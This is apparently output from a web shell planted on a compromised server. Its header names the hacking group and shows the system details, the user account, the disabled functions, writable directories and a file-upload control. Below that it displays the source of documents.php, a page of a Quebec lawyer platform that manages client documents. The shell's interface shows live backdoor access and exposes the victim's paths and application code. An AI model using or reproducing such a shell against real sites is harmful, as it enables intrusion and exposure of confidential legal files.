T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/lavocat.quebec/public_html/php-migration/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/lavocat.quebec/public_html/php-migration/documents.php
<?php
/**
 * Documents Page
 * Document management interface
 */

require_once 'config/config.php';
require_once 'auth/Auth.php';
require_once 'models/Document.php';
require_once 'models/LegalCase.php';
require_once 'config/database.php';

$auth = new Auth();

// Check if user is logged in
if (!$auth->isLoggedIn()) {
    header('Location: /login.php');
    exit;
}

$user = $auth->getCurrentUser();
$database = new Database();
$db = $database->getConnection();

// Get documents
$documentModel = new Document($db);
$caseModel = new LegalCase($db);

$page = isset($_GET['page']) ? (int)$_GET['page'] : 1;
$limit = 20;
$filters = [];

// Apply filters
if (isset($_GET['case'])) {
    $filters['caseId'] = $_GET['case'];
}
if (isset($_GET['category'])) {
    $filters['category'] = $_GET['category'];
}
if (isset($_GET['search'])) {
    $filters['search'] = $_GET['search'];
}

// Get user's documents
$documents = $documentModel->getByUserId($user['id'], $page, $limit);
$totalDocuments = $documentModel->count(['userId' => $user['id']]);

// Get user's cases for filter dropdown
$userCases = [];
if ($user['role'] === 'LAWYER' || $user['role'] === 'ADMIN' || $user['role'] === 'SUPER_ADMIN') {
    $userCases = $caseModel->getByLawyerId($user['id'], 1, 100);
} else {
    $userCases = $caseModel->getByClientId($user['id'], 1, 100);
}

// Get language from user preference
$language = $user['language'] ?? DEFAULT_LANGUAGE;

// Bilingual content
$content = [
    'fr' => [
        'title' => 'Documents - avocat.quebec',
        'heading' => 'Mes Documents',
        'uploadDocument' => 'Télécharger un document',
        'searchDocuments' => 'Rechercher des documents...',
        'filterByCase' => 'Filtrer par dossier',
        'filterByCategory' => 'Filtrer par catégorie',
        'allCases' => 'Tous les dossiers',
        'allCategories' => 'Toutes les catégories',
        'noDocuments' => 'Aucun document trouvé',
        'documentName' => 'Nom du document',
        'category' => 'Catégorie',
        'case' => 'Dossier',
        'size' => 'Taille',
        'uploaded' => 'Téléchargé le',
        'actions' => 'Actions',
        'view' => 'Voir',
        'download' => 'Télécharger',
        'edit' => 'Modifier',
        'delete' => 'Supprimer',
        'public' => 'Public',
        'private' => 'Privé'
    ],
    'en' => [
        'title' => 'Documents - avocat.quebec',
        'heading' => 'My Documents',
        'uploadDocument' => 'Upload Document',
        'searchDocuments' => 'Search documents...',
        'filterByCase' => 'Filter by case',
        'filterByCategory' => 'Filter by category',
        'allCases' => 'All cases',
        'allCategories' => 'All categories',
        'noDocuments' => 'No documents found',
        'documentName' => 'Document Name',
        'category' => 'Category',
        'case' => 'Case',
        'size' => 'Size',
        'uploaded' => 'Uploaded',
        'actions' => 'Actions',
        'view' => 'View',
        'download' => 'Download',
        'edit' => 'Edit',
        'delete' => 'Delete',
        'public' => 'Public',
        'private' => 'Private'
    ]
];

$currentContent = $content[$language];

// Categories
$categories = [
    'CONTRACT' => $language === 'fr' ? 'Contrat' : 'Contract',
    'LEGAL_BRIEF' => $language === 'fr' ? 'Mémoire juridique' : 'Legal Brief',
    'COURT_DOCUMENT' => $language === 'fr' ? 'Document de cour' : 'Court Document',
    'CORRESPONDENCE' => $language === 'fr' ? 'Correspondance' : 'Correspondence',
    'EVIDENCE' => $language === 'fr' ? 'Preuve' : 'Evidence',
    'OTHER' => $language === 'fr' ? 'Autre' : 'Other'
];
?>
<!DOCTYPE html>
<html lang="<?php echo $language; ?>">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title><?php echo $currentContent['title']; ?></title>
    
    <!-- Tailwind CSS -->
    <script src="https://cdn.tailwindcss.com"></script>
    
    <style>
        .file-upload-area {
            border: 2px dashed #cbd5e0;
            transition: border-color 0.3s;
        }
        .file-upload-area:hover {
            border-color: #4299e1;
        }
        .file-upload-area.dragover {
            border-color: #4299e1;
            background-color: #ebf8ff;
        }
    </style>
</head>
<body class="bg-gray-50">
    <!-- Navigation -->
    <nav class="bg-white shadow-sm border-b">
        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
            <div class="flex justify-between h-16">
                <div class="flex items-center">
                    <a href="/dashboard.php" class="text-2xl font-bold text-blue-600">avocat.quebec</a>
                    <span class="ml-4 text-gray-600"><?php echo $currentContent['heading']; ?></span>
                </div>
                <div class="flex items-center space-x-4">
                    <a href="/dashboard.php" class="text-blue-600 hover:text-blue-800">Dashboard</a>
                    <a href="/chat.php" class="text-gray-700 hover:text-blue-600">Chat</a>
                    <span class="text-sm text-gray-700"><?php echo htmlspecialchars($user['name']); ?></span>
                </div>
            </div>
        </div>
    </nav>

    <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-8">
        <!-- Header -->
        <div class="flex justify-between items-center mb-8">
            <h1 class="text-3xl font-bold text-gray-900"><?php echo $currentContent['heading']; ?></h1>
            <button id="upload-btn" class="bg-blue-600 text-white px-4 py-2 rounded-lg hover:bg-blue-700">
                <?php echo $currentContent['uploadDocument']; ?>
            </button>
        </div>

        <!-- Filters -->
        <div class="bg-white rounded-lg shadow p-6 mb-6">
            <form method="GET" class="grid grid-cols-1 md:grid-cols-4 gap-4">
                <div>
                    <label class="block text-sm font-medium text-gray-700 mb-2">
                        <?php echo $currentContent['searchDocuments']; ?>
                    </label>
                    <input type="text" name="search" value="<?php echo htmlspecialchars($_GET['search'] ?? ''); ?>"
                           class="w-full border border-gray-300 rounded-md px-3 py-2 focus:outline-none focus:ring-2 focus:ring-blue-500">
                </div>
                
                <div>
                    <label class="block text-sm font-medium text-gray-700 mb-2">
                        <?php echo $currentContent['filterByCase']; ?>
                    </label>
                    <select name="case" class="w-full border border-gray-300 rounded-md px-3 py-2 focus:outline-none focus:ring-2 focus:ring-blue-500">
                        <option value=""><?php echo $currentContent['allCases']; ?></option>
                        <?php foreach ($userCases as $case): ?>
                            <option value="<?php echo $case['id']; ?>" <?php echo ($_GET['case'] ?? '') === $case['id'] ? 'selected' : ''; ?>>
                                <?php echo htmlspecialchars($case['title']); ?>
                            </option>
                        <?php endforeach; ?>
                    </select>
                </div>
                
                <div>
                    <label class="block text-sm font-medium text-gray-700 mb-2">
                        <?php echo $currentContent['filterByCategory']; ?>
                    </label>
                    <select name="category" class="w-full border border-gray-300 rounded-md px-3 py-2 focus:outline-none focus:ring-2 focus:ring-blue-500">
                        <option value=""><?php echo $currentContent['allCategories']; ?></option>
                        <?php foreach ($categories as $key => $label): ?>
                            <option value="<?php echo $key; ?>" <?php echo ($_GET['category'] ?? '') === $key ? 'selected' : ''; ?>>
                                <?php echo $label; ?>
                            </option>
                        <?php endforeach; ?>
                    </select>
                </div>
                
                <div class="flex items-end">
                    <button type="submit" class="w-full bg-gray-600 text-white px-4 py-2 rounded-md hover:bg-gray-700">
                        Filter
                    </button>
                </div>
            </form>
        </div>

        <!-- Documents Table -->
        <div class="bg-white rounded-lg shadow overflow-hidden">
            <?php if (empty($documents)): ?>
                <div class="text-center py-12">
                    <svg class="mx-auto h-12 w-12 text-gray-400" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M9 12h6m-6 4h6m2 5H7a2 2 0 01-2-2V5a2 2 0 012-2h5.586a1 1 0 01.707.293l5.414 5.414a1 1 0 01.293.707V19a2 2 0 01-2 2z"></path>
                    </svg>
                    <h3 class="mt-2 text-sm font-medium text-gray-900"><?php echo $currentContent['noDocuments']; ?></h3>
                </div>
            <?php else: ?>
                <div class="overflow-x-auto">
                    <table class="min-w-full divide-y divide-gray-200">
                        <thead class="bg-gray-50">
                            <tr>
                                <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">
                                    <?php echo $currentContent['documentName']; ?>
                                </th>
                                <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">
                                    <?php echo $currentContent['category']; ?>
                                </th>
                                <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">
                                    <?php echo $currentContent['case']; ?>
                                </th>
                                <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">
                                    <?php echo $currentContent['size']; ?>
                                </th>
                                <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">
                                    <?php echo $currentContent['uploaded']; ?>
                                </th>
                                <th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">
                                    <?php echo $currentContent['actions']; ?>
                                </th>
                            </tr>
                        </thead>
                        <tbody class="bg-white divide-y divide-gray-200">
                            <?php foreach ($documents as $document): ?>
                                <tr class="hover:bg-gray-50">
                                    <td class="px-6 py-4 whitespace-nowrap">
                                        <div class="flex items-center">
                                            <span class="text-2xl mr-3"><?php echo $documentModel->getFileIcon(); ?></span>
                                            <div>
                                                <div class="text-sm font-medium text-gray-900">
                                                    <?php echo htmlspecialchars($document['title']); ?>
                                                </div>
                                                <div class="text-sm text-gray-500">
                                                    <?php echo htmlspecialchars($document['fileName']); ?>
                                                </div>
                                            </div>
                                        </div>
                                    </td>
                                    <td class="px-6 py-4 whitespace-nowrap text-sm text-gray-900">
                                        <?php echo $categories[$document['category']] ?? $document['category']; ?>
                                    </td>
                                    <td class="px-6 py-4 whitespace-nowrap text-sm text-gray-900">
                                        <?php 
                                        if ($document['caseId']) {
                                            $case = $caseModel->findById($document['caseId']);
                                            echo $case ? htmlspecialchars($case['title']) : 'N/A';
                                        } else {
                                            echo 'N/A';
                                        }
                                        ?>
                                    </td>
                                    <td class="px-6 py-4 whitespace-nowrap text-sm text-gray-900">
                                        <?php 
                                        $doc = new Document($db);
                                        $doc->fileSize = $document['fileSize'];
                                        echo $doc->getFormattedFileSize();
                                        ?>
                                    </td>
                                    <td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500">
                                        <?php echo date('M j, Y', strtotime($document['createdAt'])); ?>
                                    </td>
                                    <td class="px-6 py-4 whitespace-nowrap text-sm font-medium">
                                        <div class="flex space-x-2">
                                            <a href="<?php echo $document['fileUrl']; ?>" target="_blank" 
                                               class="text-blue-600 hover:text-blue-900">
                                                <?php echo $currentContent['view']; ?>
                                            </a>
                                            <a href="<?php echo $document['fileUrl']; ?>" download 
                                               class="text-green-600 hover:text-green-900">
                                                <?php echo $currentContent['download']; ?>
                                            </a>
                                            <button onclick="editDocument('<?php echo $document['id']; ?>')" 
                                                    class="text-yellow-600 hover:text-yellow-900">
                                                <?php echo $currentContent['edit']; ?>
                                            </button>
                                            <button onclick="deleteDocument('<?php echo $document['id']; ?>')" 
                                                    class="text-red-600 hover:text-red-900">
                                                <?php echo $currentContent['delete']; ?>
                                            </button>
                                        </div>
                                    </td>
                                </tr>
                            <?php endforeach; ?>
                        </tbody>
                    </table>
                </div>

                <!-- Pagination -->
                <?php if ($totalDocuments > $limit): ?>
                    <div class="bg-white px-4 py-3 border-t border-gray-200 sm:px-6">
                        <div class="flex items-center justify-between">
                            <div class="text-sm text-gray-700">
                                Showing <?php echo (($page - 1) * $limit) + 1; ?> to <?php echo min($page * $limit, $totalDocuments); ?> of <?php echo $totalDocuments; ?> results
                            </div>
                            <div class="flex space-x-2">
                                <?php if ($page > 1): ?>
                                    <a href="?page=<?php echo $page - 1; ?>" class="px-3 py-2 border border-gray-300 rounded-md text-sm font-medium text-gray-700 hover:bg-gray-50">
                                        Previous
                                    </a>
                                <?php endif; ?>
                                <?php if ($page * $limit < $totalDocuments): ?>
                                    <a href="?page=<?php echo $page + 1; ?>" class="px-3 py-2 border border-gray-300 rounded-md text-sm font-medium text-gray-700 hover:bg-gray-50">
                                        Next
                                    </a>
                                <?php endif; ?>
                            </div>
                        </div>
                    </div>
                <?php endif; ?>
            <?php endif; ?>
        </div>
    </div>

    <!-- Upload Modal -->
    <div id="upload-modal" class="fixed inset-0 bg-gray-600 bg-opacity-50 hidden">
        <div class="flex items-center justify-center min-h-screen p-4">
            <div class="bg-white rounded-lg shadow-xl max-w-md w-full">
                <div class="p-6">
                    <h3 class="text-lg font-medium text-gray-900 mb-4"><?php echo $currentContent['uploadDocument']; ?></h3>
                    
                    <form id="upload-form" enctype="multipart/form-data">
                        <div class="mb-4">
                            <label class="block text-sm font-medium text-gray-700 mb-2">Title</label>
                            <input type="text" name="title" required 
                                   class="w-full border border-gray-300 rounded-md px-3 py-2 focus:outline-none focus:ring-2 focus:ring-blue-500">
                        </div>
                        
                        <div class="mb-4">
                            <label class="block text-sm font-medium text-gray-700 mb-2">Description</label>
                            <textarea name="description" rows="3" 
                                      class="w-full border border-gray-300 rounded-md px-3 py-2 focus:outline-none focus:ring-2 focus:ring-blue-500"></textarea>
                        </div>
                        
                        <div class="mb-4">
                            <label class="block text-sm font-medium text-gray-700 mb-2">Category</label>
                            <select name="category" required 
                                    class="w-full border border-gray-300 rounded-md px-3 py-2 focus:outline-none focus:ring-2 focus:ring-blue-500">
                                <?php foreach ($categories as $key => $label): ?>
                                    <option value="<?php echo $key; ?>"><?php echo $label; ?></option>
                                <?php endforeach; ?>
                            </select>
                        </div>
                        
                        <div class="mb-4">
                            <label class="block text-sm font-medium text-gray-700 mb-2">Case (Optional)</label>
                            <select name="caseId" 
                                    class="w-full border border-gray-300 rounded-md px-3 py-2 focus:outline-none focus:ring-2 focus:ring-blue-500">
                                <option value="">No case</option>
                                <?php foreach ($userCases as $case): ?>
                                    <option value="<?php echo $case['id']; ?>"><?php echo htmlspecialchars($case['title']); ?></option>
                                <?php endforeach; ?>
                            </select>
                        </div>
                        
                        <div class="mb-4">
                            <label class="block text-sm font-medium text-gray-700 mb-2">File</label>
                            <div class="file-upload-area border-2 border-dashed border-gray-300 rounded-lg p-6 text-center">
                                <input type="file" name="file" id="file-input" required 
                                       class="hidden" accept=".pdf,.doc,.docx,.txt,.jpg,.jpeg,.png,.gif,.mp4,.avi,.mov,.mp3,.wav,.zip,.rar">
                                <label for="file-input" class="cursor-pointer">
                                    <svg class="mx-auto h-12 w-12 text-gray-400" fill="none" stroke="currentColor" viewBox="0 0 24 24">
                                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M7 16a4 4 0 01-.88-7.903A5 5 0 1115.9 6L16 6a5 5 0 011 9.9M15 13l-3-3m0 0l-3 3m3-3v12"></path>
                                    </svg>
                                    <p class="mt-2 text-sm text-gray-600">Click to upload or drag and drop</p>
                                    <p class="text-xs text-gray-500">PDF, DOC, DOCX, TXT, JPG, PNG, MP4, MP3, ZIP</p>
                                </label>
                            </div>
                        </div>
                        
                        <div class="flex justify-end space-x-3">
                            <button type="button" onclick="closeUploadModal()" 
                                    class="px-4 py-2 border border-gray-300 rounded-md text-sm font-medium text-gray-700 hover:bg-gray-50">
                                Cancel
                            </button>
                            <button type="submit" 
                                    class="px-4 py-2 bg-blue-600 text-white rounded-md text-sm font-medium hover:bg-blue-700">
                                Upload
                            </button>
                        </div>
                    </form>
                </div>
            </div>
        </div>
    </div>

    <script>
        // Upload modal functions
        function openUploadModal() {
            document.getElementById('upload-modal').classList.remove('hidden');
        }

        function closeUploadModal() {
            document.getElementById('upload-modal').classList.add('hidden');
            document.getElementById('upload-form').reset();
        }

        // Event listeners
        document.getElementById('upload-btn').addEventListener('click', openUploadModal);

        // File upload handling
        document.getElementById('upload-form').addEventListener('submit', function(e) {
            e.preventDefault();
            
            const formData = new FormData(this);
            
            fetch('/php-migration/upload.php', {
                method: 'POST',
                body: formData
            })
            .then(response => response.json())
            .then(data => {
                if (data.success) {
                    // Create document record
                    return fetch('/php-migration/api/documents.php', {
                        method: 'POST',
                        headers: {
                            'Content-Type': 'application/json',
                        },
                        body: JSON.stringify({
                            title: formData.get('title'),
                            description: formData.get('description'),
                            fileUrl: data.file.url,
                            fileName: data.file.name,
                            fileSize: data.file.size,
                            fileType: data.file.type,
                            category: formData.get('category'),
                            caseId: formData.get('caseId') || null,
                            isPublic: false,
                            status: 'ACTIVE'
                        })
                    });
                } else {
                    throw new Error(data.error);
                }
            })
            .then(response => response.json())
            .then(data => {
                if (data.success) {
                    closeUploadModal();
                    location.reload();
                } else {
                    alert('Error: ' + data.error);
                }
            })
            .catch(error => {
                alert('Error: ' + error.message);
            });
        });

        // Drag and drop functionality
        const fileUploadArea = document.querySelector('.file-upload-area');
        
        fileUploadArea.addEventListener('dragover', function(e) {
            e.preventDefault();
            this.classList.add('dragover');
        });
        
        fileUploadArea.addEventListener('dragleave', function(e) {
            e.preventDefault();
            this.classList.remove('dragover');
        });
        
        fileUploadArea.addEventListener('drop', function(e) {
            e.preventDefault();
            this.classList.remove('dragover');
            
            const files = e.dataTransfer.files;
            if (files.length > 0) {
                document.getElementById('file-input').files = files;
            }
        });

        // Document actions
        function editDocument(documentId) {
            // TODO: Implement edit functionality
            alert('Edit functionality coming soon');
        }

        function deleteDocument(documentId) {
            if (confirm('Are you sure you want to delete this document?')) {
                // TODO: Implement delete functionality
                alert('Delete functionality coming soon');
            }
        }
    </script>
</body>
</html>

CasperSecurity Mini